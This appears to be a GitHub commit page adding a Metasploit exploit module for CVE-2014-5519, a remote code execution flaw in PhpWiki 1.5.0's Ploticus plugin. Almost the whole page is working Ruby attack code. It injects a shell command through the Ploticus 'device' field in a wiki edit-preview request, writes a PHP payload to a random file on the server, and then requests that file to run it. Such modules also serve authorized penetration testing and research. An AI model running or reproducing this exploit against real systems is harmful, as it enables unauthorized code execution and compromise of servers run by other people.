Skip to content

Commit 4c615ec

Browse files
author
us3r777
committed
Module for CVE-2014-5519, phpwiki/ploticus RCE
1 parent 7d4c4c3 commit 4c615ec

File tree

1 file changed

+82
-0
lines changed

1 file changed

+82
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::PhpEXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Phpwiki ploticus Remote Code Execution',
17+
'Description' => %q{
18+
The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary code via command injection.
19+
},
20+
'Author' =>
21+
[
22+
'Benjamin Harris', # Discovery and POC
23+
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
[ 'CVE', '2014-5519' ],
29+
[ 'OSVDB', '110576' ],
30+
[ 'URL', 'http://www.exploit-db.com/exploits/34451/']
31+
],
32+
'Payload' =>
33+
{
34+
'BadChars' => "\x00",
35+
},
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' =>
39+
[
40+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
41+
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
42+
],
43+
'DefaultTarget' => 0,
44+
'DisclosureDate' => 'Sept 11 2014'))
45+
46+
register_options(
47+
[
48+
OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) ,
49+
], self.class)
50+
end
51+
52+
def exploit
53+
uri = target_uri.path
54+
peer = "#{rhost}:#{rport}"
55+
56+
payload_name = "#{rand_text_alpha(8)}.php"
57+
php_payload = get_write_exec_payload(:unlink_self=>true)
58+
59+
res = send_request_cgi({
60+
'uri' => normalize_uri(uri + '/index.php/HeIp'),
61+
'method' => 'POST',
62+
'vars_post' =>
63+
{
64+
'pagename' => 'HeIp',
65+
'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",
66+
'edit[preview]' => 'Preview',
67+
'action' => 'edit'
68+
}
69+
})
70+
71+
if not res or res.code != 200
72+
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
73+
end
74+
75+
upload_uri = normalize_uri(uri + "/" + payload_name)
76+
print_status("#{peer} - Executing payload #{payload_name}")
77+
res = send_request_raw({
78+
'uri' => upload_uri,
79+
'method' => 'GET'
80+
})
81+
end
82+
end

0 commit comments

Comments
 (0)